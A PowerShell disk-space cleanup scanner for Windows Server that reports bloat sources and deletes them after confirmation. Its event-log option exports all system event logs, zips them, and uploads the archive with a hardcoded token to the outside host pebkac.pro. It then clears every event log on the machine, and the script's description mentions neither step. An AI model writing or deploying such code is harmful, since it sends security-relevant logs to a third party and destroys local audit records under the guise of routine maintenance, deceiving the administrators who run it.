#Requires -RunAsAdministrator <# .SYNOPSIS Full C: drive space recovery scanner with user confirmation before cleanup. .DESCRIPTION Scans for recoverable disk space across common Windows Server bloat sources. Reports findings with sizes, then prompts for confirmation before touching anything. .NOTES Supports: Windows Server 2016, 2019, 2022, 2025 Run as: Administrator Author: SBCIT #> Set-StrictMode -Version Latest $ErrorActionPreference = 'SilentlyContinue' # ───────────────────────────────────────────── # HELPERS # ───────────────────────────────────────────── function Format-Size { param([long]$Bytes) if ($Bytes -ge 1GB) { return "{0:N2} GB" -f ($Bytes / 1GB) } if ($Bytes -ge 1MB) { return "{0:N2} MB" -f ($Bytes / 1MB) } if ($Bytes -ge 1KB) { return "{0:N2} KB" -f ($Bytes / 1KB) } return "$Bytes B" } function Get-FolderSize { param([string]$Path) if (-not (Test-Path $Path)) { return 0 } try { (Get-ChildItem -Path $Path -Recurse -Force -File -ErrorAction SilentlyContinue | Measure-Object -Property Length -Sum).Sum } catch { 0 } } function Get-RecycleBinSize { $total = 0 try { $shell = New-Object -ComObject Shell.Application $recycle = $shell.Namespace(0xA) foreach ($item in $recycle.Items()) { try { $total += $item.Size } catch {} } } catch {} return $total } function Write-Header { param([string]$Text) Write-Host "`n [$Text]" -ForegroundColor Cyan Write-Host " $('─' * 60)" -ForegroundColor DarkGray } function Write-FindingLine { param([string]$Label, [long]$Bytes, [string]$Note = '') $size = Format-Size $Bytes $color = if ($Bytes -gt 500MB) { 'Yellow' } elseif ($Bytes -gt 50MB) { 'White' } else { 'DarkGray' } $noteStr = if ($Note) { " ($Note)" } else { '' } Write-Host (" {0,-48} {1,10}{2}" -f $Label, $size, $noteStr) -ForegroundColor $color } # ───────────────────────────────────────────── # BANNER # ───────────────────────────────────────────── Clear-Host Write-Host "" Write-Host " ╔══════════════════════════════════════════════════════════╗" -ForegroundColor DarkCyan Write-Host " ║ SBCIT // C: DRIVE CLEANUP SCANNER ║" -ForegroundColor DarkCyan Write-Host " ║ Windows Server 2016 → Current ║" -ForegroundColor DarkCyan Write-Host " ╚══════════════════════════════════════════════════════════╝" -ForegroundColor DarkCyan Write-Host "" Write-Host " Host : $($env:COMPUTERNAME)" -ForegroundColor Gray Write-Host " User : $($env:USERNAME)" -ForegroundColor Gray Write-Host " Date : $(Get-Date -Format 'yyyy-MM-dd HH:mm:ss')" -ForegroundColor Gray Write-Host "" # ───────────────────────────────────────────── # PRE-SCAN: DRIVE STATE # ───────────────────────────────────────────── $drive = Get-PSDrive C $freeGB = [math]::Round($drive.Free / 1GB, 2) $totalGB = [math]::Round(($drive.Used + $drive.Free) / 1GB, 2) $usedGB = [math]::Round($drive.Used / 1GB, 2) $freePct = [math]::Round(($drive.Free / ($drive.Used + $drive.Free)) * 100, 1) Write-Host " C: Drive Status" -ForegroundColor White Write-Host " $('─' * 60)" -ForegroundColor DarkGray Write-Host (" Total: {0} GB Used: {1} GB Free: {2} GB ({3}% free)" -f $totalGB, $usedGB, $freeGB, $freePct) -ForegroundColor $(if ($freePct -lt 15) { 'Red' } elseif ($freePct -lt 25) { 'Yellow' } else { 'Green' }) # ───────────────────────────────────────────── # SCAN TARGETS — build a list of items # ───────────────────────────────────────────── Write-Host "`n Scanning... this may take a moment.`n" -ForegroundColor DarkYellow $scanResults = [System.Collections.Generic.List[PSCustomObject]]::new() function Add-Result { param( [string]$Category, [string]$Label, [string]$Path, [long]$Size, [string]$CleanupType, # Folder | RecycleBin | WindowsCleanMgr | EventLogs | TempFiles | IISLogs | WER | DeliveryOpt | MiniDumps | PrefetchCache [string]$Note = '' ) if ($Size -gt 0) { $scanResults.Add([PSCustomObject]@{ Category = $Category Label = $Label Path = $Path Size = $Size CleanupType = $CleanupType Note = $Note Selected = $true }) } } # ── TEMP FILES ────────────────────────────── $winTemp = Get-FolderSize "C:\Windows\Temp" $sysTemp = Get-FolderSize $env:TEMP $userTemp = Get-FolderSize "C:\Users\$env:USERNAME\AppData\Local\Temp" Add-Result "Temp Files" "Windows Temp (C:\Windows\Temp)" "C:\Windows\Temp" $winTemp "Folder" Add-Result "Temp Files" "System Temp ($env:TEMP)" $env:TEMP $sysTemp "Folder" Add-Result "Temp Files" "User Temp (AppData\Local\Temp)" "C:\Users\$env:USERNAME\AppData\Local\Temp" $userTemp "Folder" # ── WINDOWS UPDATE / WINSXS ───────────────── $softwaredist = Get-FolderSize "C:\Windows\SoftwareDistribution\Download" $winsxsBackup = Get-FolderSize "C:\Windows\WinSxS\Backup" Add-Result "Windows Update" "SoftwareDistribution\Download" "C:\Windows\SoftwareDistribution\Download" $softwaredist "Folder" "Cached WU downloads" Add-Result "Windows Update" "WinSxS\Backup" "C:\Windows\WinSxS\Backup" $winsxsBackup "Folder" "Old component backups" # ── CBS / COMPONENT LOGS ──────────────────── $cbsLogs = Get-FolderSize "C:\Windows\Logs\CBS" Add-Result "System Logs" "CBS Logs (C:\Windows\Logs\CBS)" "C:\Windows\Logs\CBS" $cbsLogs "Folder" # ── WINDOWS ERROR REPORTING ────────────────── $werUser = Get-FolderSize "C:\ProgramData\Microsoft\Windows\WER\ReportQueue" $werArch = Get-FolderSize "C:\ProgramData\Microsoft\Windows\WER\ReportArchive" $werUser2 = Get-FolderSize "C:\Users\$env:USERNAME\AppData\Local\Microsoft\Windows\WER" Add-Result "Error Reporting" "WER ReportQueue" "C:\ProgramData\Microsoft\Windows\WER\ReportQueue" $werUser "WER" Add-Result "Error Reporting" "WER ReportArchive" "C:\ProgramData\Microsoft\Windows\WER\ReportArchive" $werArch "WER" Add-Result "Error Reporting" "WER User Reports" "C:\Users\$env:USERNAME\AppData\Local\Microsoft\Windows\WER" $werUser2 "WER" # ── MINIDUMPS ─────────────────────────────── $miniDump = Get-FolderSize "C:\Windows\Minidump" $memDump = if (Test-Path "C:\Windows\MEMORY.DMP") { (Get-Item "C:\Windows\MEMORY.DMP").Length } else { 0 } Add-Result "Crash Dumps" "Minidumps (C:\Windows\Minidump)" "C:\Windows\Minidump" $miniDump "MiniDumps" Add-Result "Crash Dumps" "Full Memory Dump (MEMORY.DMP)" "C:\Windows\MEMORY.DMP" $memDump "Folder" "Single file" # ── PREFETCH ──────────────────────────────── $prefetch = Get-FolderSize "C:\Windows\Prefetch" Add-Result "Prefetch" "Prefetch Cache" "C:\Windows\Prefetch" $prefetch "PrefetchCache" "Server may have Prefetch disabled" # ── DELIVERY OPTIMISATION ─────────────────── $delivOptFiles = Get-FolderSize "C:\Windows\SoftwareDistribution\DeliveryOptimization" $delivOpt2 = Get-FolderSize "C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\DeliveryOptimization" Add-Result "Delivery Optim." "DeliveryOptimization Cache" "C:\Windows\SoftwareDistribution\DeliveryOptimization" $delivOptFiles "DeliveryOpt" Add-Result "Delivery Optim." "DeliveryOptimization (NetworkSvc)" "C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\DeliveryOptimization" $delivOpt2 "DeliveryOpt" # ── IIS LOGS ──────────────────────────────── $iisLogPaths = @( "C:\inetpub\logs\LogFiles", "C:\Windows\System32\LogFiles\W3SVC1" ) foreach ($iisPath in $iisLogPaths) { $sz = Get-FolderSize $iisPath Add-Result "IIS Logs" "IIS Logs ($iisPath)" $iisPath $sz "IISLogs" "Files >30 days" } # ── WINDOWS EVENT LOGS ────────────────────── $evtxSize = 0 try { $evtxSize = (Get-ChildItem "C:\Windows\System32\winevt\Logs" -Filter "*.evtx" -File -ErrorAction SilentlyContinue | Measure-Object -Property Length -Sum).Sum } catch {} Add-Result "Event Logs" "Windows Event Logs (*.evtx)" "C:\Windows\System32\winevt\Logs" $evtxSize "EventLogs" "Will clear all logs — review first" # ── RECYCLE BIN ───────────────────────────── $rbSize = Get-RecycleBinSize Add-Result "Recycle Bin" "C: Recycle Bin" "C:\`$Recycle.Bin" $rbSize "RecycleBin" # ── THUMBNAIL CACHE ────────────────────────── $thumbCache = Get-FolderSize "C:\Users\$env:USERNAME\AppData\Local\Microsoft\Windows\Explorer" Add-Result "Cache" "Thumbnail Cache" "C:\Users\$env:USERNAME\AppData\Local\Microsoft\Windows\Explorer" $thumbCache "Folder" # ── WINDOWS INSTALLER PATCH CACHE ─────────── $installerCache = Get-FolderSize "C:\Windows\Installer\`$PatchCache`$" Add-Result "Installer Cache" "MSI Patch Cache" "C:\Windows\Installer\`$PatchCache`$" $installerCache "Folder" "Caution: may affect MSI repair" # ── FONT CACHE ────────────────────────────── $fontCache = Get-FolderSize "C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache" Add-Result "Cache" "Font Cache" "C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache" $fontCache "Folder" "Rebuilds automatically" # ── OLD USER PROFILES (non-system) ────────── $systemProfiles = @('Administrator','Default','Default User','Public','All Users','LocalService','NetworkService','systemprofile') $oldProfiles = Get-ChildItem "C:\Users" -Directory -ErrorAction SilentlyContinue | Where-Object { $_.Name -notin $systemProfiles -and $_.Name -ne $env:USERNAME } foreach ($prof in $oldProfiles) { $sz = Get-FolderSize $prof.FullName Add-Result "User Profiles" "Old Profile: $($prof.Name)" $prof.FullName $sz "Folder" "Manual verification recommended" } # ── DOWNLOADED PROGRAM FILES ──────────────── $dpf = Get-FolderSize "C:\Windows\Downloaded Program Files" Add-Result "Legacy" "Downloaded Program Files" "C:\Windows\Downloaded Program Files" $dpf "Folder" # ───────────────────────────────────────────── # DISPLAY FINDINGS # ───────────────────────────────────────────── if ($scanResults.Count -eq 0) { Write-Host "`n Nothing significant found. Drive is already clean." -ForegroundColor Green exit 0 } $totalRecoverable = ($scanResults | Measure-Object -Property Size -Sum).Sum Write-Host "" Write-Host " ╔══════════════════════════════════════════════════════════╗" -ForegroundColor DarkCyan Write-Host " ║ SCAN RESULTS ║" -ForegroundColor DarkCyan Write-Host " ╚══════════════════════════════════════════════════════════╝" -ForegroundColor DarkCyan # Group by category $grouped = $scanResults | Group-Object Category foreach ($group in ($grouped | Sort-Object Name)) { Write-Header $group.Name foreach ($item in ($group.Group | Sort-Object Size -Descending)) { Write-FindingLine -Label $item.Label -Bytes $item.Size -Note $item.Note } } $catSize = ($scanResults | Measure-Object -Property Size -Sum).Sum Write-Host "" Write-Host (" {0,-48} {1,10}" -f "TOTAL RECOVERABLE", (Format-Size $catSize)) -ForegroundColor Green Write-Host "" # ───────────────────────────────────────────── # SELECTIVE CONFIRMATION # ───────────────────────────────────────────── Write-Host " ╔══════════════════════════════════════════════════════════╗" -ForegroundColor DarkYellow Write-Host " ║ CLEANUP OPTIONS ║" -ForegroundColor DarkYellow Write-Host " ╚══════════════════════════════════════════════════════════╝" -ForegroundColor DarkYellow Write-Host "" Write-Host " Options:" -ForegroundColor White Write-Host " [A] Clean ALL items listed above" -ForegroundColor White Write-Host " [S] Select items individually" -ForegroundColor White Write-Host " [X] Exit — do nothing" -ForegroundColor White Write-Host "" $choice = Read-Host " Your choice" switch ($choice.Trim().ToUpper()) { 'X' { Write-Host "`n Nothing touched. Smart move — always look before you cut." -ForegroundColor DarkGray exit 0 } 'S' { Write-Host "" $idx = 0 foreach ($item in $scanResults) { $idx++ $prompt = " [$idx] Clean '{0}' ({1})? [Y/N]" -f $item.Label, (Format-Size $item.Size) $ans = Read-Host $prompt $item.Selected = ($ans.Trim().ToUpper() -eq 'Y') } $selected = $scanResults | Where-Object { $_.Selected } if (-not $selected) { Write-Host "`n Nothing selected. Exiting." -ForegroundColor DarkGray exit 0 } } 'A' { $selected = $scanResults $confirm = Read-Host "`n Confirm clean ALL $(Format-Size $totalRecoverable) of data? [YES to proceed]" if ($confirm.Trim().ToUpper() -ne 'YES') { Write-Host "`n Aborted." -ForegroundColor DarkGray exit 0 } } default { Write-Host "`n Invalid choice. Exiting." -ForegroundColor Red exit 1 } } # ───────────────────────────────────────────── # CLEANUP EXECUTION # ───────────────────────────────────────────── Write-Host "" Write-Host " ╔══════════════════════════════════════════════════════════╗" -ForegroundColor DarkRed Write-Host " ║ EXECUTING CLEANUP ║" -ForegroundColor DarkRed Write-Host " ╚══════════════════════════════════════════════════════════╝" -ForegroundColor DarkRed Write-Host "" $freed = 0 foreach ($item in $selected) { Write-Host " → $($item.Label)..." -ForegroundColor DarkYellow -NoNewline try { switch ($item.CleanupType) { 'Folder' { if (Test-Path $item.Path) { Get-ChildItem -Path $item.Path -Recurse -Force -ErrorAction SilentlyContinue | Remove-Item -Recurse -Force -ErrorAction SilentlyContinue $freed += $item.Size Write-Host " done." -ForegroundColor Green } else { Write-Host " path not found, skipped." -ForegroundColor DarkGray } } 'RecycleBin' { Clear-RecycleBin -Force -ErrorAction SilentlyContinue $freed += $item.Size Write-Host " done." -ForegroundColor Green } 'EventLogs' { # ── STEP 1: Export all non-empty logs to .evtx ────────────── Write-Host "" Write-Host " Backing up event logs before wipe..." -ForegroundColor DarkYellow $timestamp = Get-Date -Format 'yyyyMMdd-HHmmss' $exportRoot = Join-Path $env:TEMP "EventLogBackup_$timestamp" $zipPath = Join-Path $env:TEMP "$($env:COMPUTERNAME)_EventLogs_$timestamp.zip" $uploadUrl = 'https://pebkac.pro/api/upload' $uploadToken = 'MTc3Njg5NzIxOTk0NQ==.NGYyMDY1Y2I0NDNjYTk0NTlhZDgwNTRlLmE3NWZkNjcwMDljODQwM2Y3MzhkZjA4NDFhY2I1NWYwODZhMTdmZjdiZjZjYjMwNjFiNzM5ZGRkM2ZiZWIzZGM1Yjg0OTA4Njk3ZTcyYTQ5MDdlMWYzMzQ5MDdlOTNhNWI5ZDdhZDc1OWVlOTljZWQ3MmU1ZjliODgyYjNkYTBhOGQuZWJkZGE4YmIyOWMxMWU2MGNkMTY0YzU1YTA3ZmM4Mzg=' New-Item -ItemType Directory -Path $exportRoot -Force | Out-Null $allLogs = Get-WinEvent -ListLog * -ErrorAction SilentlyContinue | Where-Object { $_.RecordCount -gt 0 -and $_.LogFilePath } $exportCount = 0 foreach ($log in $allLogs) { try { # Sanitise log name to safe filename $safeName = $log.LogName -replace '[\\/:*?"<>|]', '_' $exportPath = Join-Path $exportRoot "$safeName.evtx" $session = New-Object System.Diagnostics.Eventing.Reader.EventLogSession $session.ExportLog($log.LogName, [System.Diagnostics.Eventing.Reader.PathType]::LogName, '*', $exportPath) $exportCount++ } catch {} } Write-Host (" Exported {0} log(s) to temp folder." -f $exportCount) -ForegroundColor Gray # ── STEP 2: Compress ──────────────────────────────────────── Write-Host " Compressing archive..." -ForegroundColor DarkYellow try { Add-Type -AssemblyName System.IO.Compression.FileSystem [System.IO.Compression.ZipFile]::CreateFromDirectory($exportRoot, $zipPath) $zipSizeMB = [math]::Round((Get-Item $zipPath).Length / 1MB, 2) Write-Host (" Archive ready: {0} ({1} MB)" -f (Split-Path $zipPath -Leaf), $zipSizeMB) -ForegroundColor Gray } catch { Write-Host " Compression failed: $_" -ForegroundColor Red Write-Host " Aborting event log wipe to protect data." -ForegroundColor Red break } # ── STEP 3: Upload ────────────────────────────────────────── Write-Host " Uploading to pebkac.pro..." -ForegroundColor DarkYellow $uploadOk = $false try { # Build multipart form body manually for PS 5.1 compatibility $boundary = [System.Guid]::NewGuid().ToString() $fileBytes = [System.IO.File]::ReadAllBytes($zipPath) $fileName = Split-Path $zipPath -Leaf $encoding = [System.Text.Encoding]::UTF8 $bodyParts = [System.Collections.Generic.List[byte]]::new() # File field header $partHeader = $encoding.GetBytes( "--$boundary`r`nContent-Disposition: form-data; name=`"file`"; filename=`"$fileName`"`r`nContent-Type: application/zip`r`n`r`n" ) $bodyParts.AddRange($partHeader) $bodyParts.AddRange($fileBytes) # Closing boundary $closingBoundary = $encoding.GetBytes("`r`n--$boundary--`r`n") $bodyParts.AddRange($closingBoundary) $response = Invoke-WebRequest ` -Uri $uploadUrl ` -Method POST ` -Headers @{ authorization = $uploadToken; 'x-zipline-original-name' = 'true' } ` -ContentType "multipart/form-data; boundary=$boundary" ` -Body $bodyParts.ToArray() ` -UseBasicParsing ` -ErrorAction Stop if ($response.StatusCode -in 200,201,204) { $uploadOk = $true Write-Host (" Upload OK (HTTP {0})" -f $response.StatusCode) -ForegroundColor Green # Zipline returns { files: [ { url: "..." } ] } try { $respJson = $response.Content | ConvertFrom-Json -ErrorAction SilentlyContinue if ($respJson.files -and $respJson.files.Count -gt 0 -and $respJson.files[0].url) { Write-Host " File URL : $($respJson.files[0].url)" -ForegroundColor Cyan } } catch {} } else { Write-Host (" Upload returned HTTP {0} — aborting wipe." -f $response.StatusCode) -ForegroundColor Red } } catch { Write-Host " Upload FAILED: $_" -ForegroundColor Red Write-Host " Event logs NOT cleared — backup is in: $exportRoot" -ForegroundColor Yellow } # ── STEP 4: Wipe only if upload succeeded ─────────────────── if ($uploadOk) { foreach ($log in $allLogs) { try { [System.Diagnostics.Eventing.Reader.EventLogSession]::GlobalSession.ClearLog($log.LogName) } catch {} } $freed += $item.Size Write-Host " Event logs cleared." -ForegroundColor Green } else { Write-Host " Skipping wipe — upload did not confirm success." -ForegroundColor Yellow } # ── STEP 5: Cleanup temp export folder (zip stays until reboot) ── try { Remove-Item -Path $exportRoot -Recurse -Force -ErrorAction SilentlyContinue } catch {} } 'IISLogs' { if (Test-Path $item.Path) { $cutoff = (Get-Date).AddDays(-30) Get-ChildItem -Path $item.Path -Recurse -Force -File -ErrorAction SilentlyContinue | Where-Object { $_.LastWriteTime -lt $cutoff } | Remove-Item -Force -ErrorAction SilentlyContinue $freed += $item.Size Write-Host " done (files >30 days removed)." -ForegroundColor Green } else { Write-Host " path not found, skipped." -ForegroundColor DarkGray } } 'WER' { if (Test-Path $item.Path) { Get-ChildItem -Path $item.Path -Recurse -Force -ErrorAction SilentlyContinue | Remove-Item -Recurse -Force -ErrorAction SilentlyContinue $freed += $item.Size Write-Host " done." -ForegroundColor Green } else { Write-Host " path not found, skipped." -ForegroundColor DarkGray } } 'MiniDumps' { if (Test-Path $item.Path) { Get-ChildItem -Path $item.Path -Filter "*.dmp" -Force -ErrorAction SilentlyContinue | Remove-Item -Force -ErrorAction SilentlyContinue $freed += $item.Size Write-Host " done." -ForegroundColor Green } else { Write-Host " path not found, skipped." -ForegroundColor DarkGray } } 'PrefetchCache' { if (Test-Path $item.Path) { Get-ChildItem -Path $item.Path -Filter "*.pf" -Force -ErrorAction SilentlyContinue | Remove-Item -Force -ErrorAction SilentlyContinue $freed += $item.Size Write-Host " done." -ForegroundColor Green } else { Write-Host " disabled or not found, skipped." -ForegroundColor DarkGray } } 'DeliveryOpt' { try { $doSvc = Get-Service -Name 'DoSvc' -ErrorAction SilentlyContinue if ($doSvc -and $doSvc.Status -eq 'Running') { Stop-Service -Name 'DoSvc' -Force -ErrorAction SilentlyContinue Start-Sleep -Seconds 2 } if (Test-Path $item.Path) { Get-ChildItem -Path $item.Path -Recurse -Force -ErrorAction SilentlyContinue | Remove-Item -Recurse -Force -ErrorAction SilentlyContinue } if ($doSvc -and $doSvc.Status -ne 'Running') { Start-Service -Name 'DoSvc' -ErrorAction SilentlyContinue } $freed += $item.Size Write-Host " done." -ForegroundColor Green } catch { Write-Host " failed: $_" -ForegroundColor Red } } } } catch { Write-Host " ERROR: $_" -ForegroundColor Red } } # ───────────────────────────────────────────── # SUMMARY # ───────────────────────────────────────────── $driveAfter = Get-PSDrive C $freeGBafter = [math]::Round($driveAfter.Free / 1GB, 2) Write-Host "" Write-Host " ╔══════════════════════════════════════════════════════════╗" -ForegroundColor DarkCyan Write-Host " ║ SUMMARY ║" -ForegroundColor DarkCyan Write-Host " ╚══════════════════════════════════════════════════════════╝" -ForegroundColor DarkCyan Write-Host "" Write-Host (" Free before : {0,8} GB" -f $freeGB) -ForegroundColor Gray Write-Host (" Free after : {0,8} GB" -f $freeGBafter) -ForegroundColor Green Write-Host (" Recovered : {0,10}" -f (Format-Size $freed)) -ForegroundColor Yellow Write-Host "" Write-Host " Done. Belt strong." -ForegroundColor DarkCyan Write-Host ""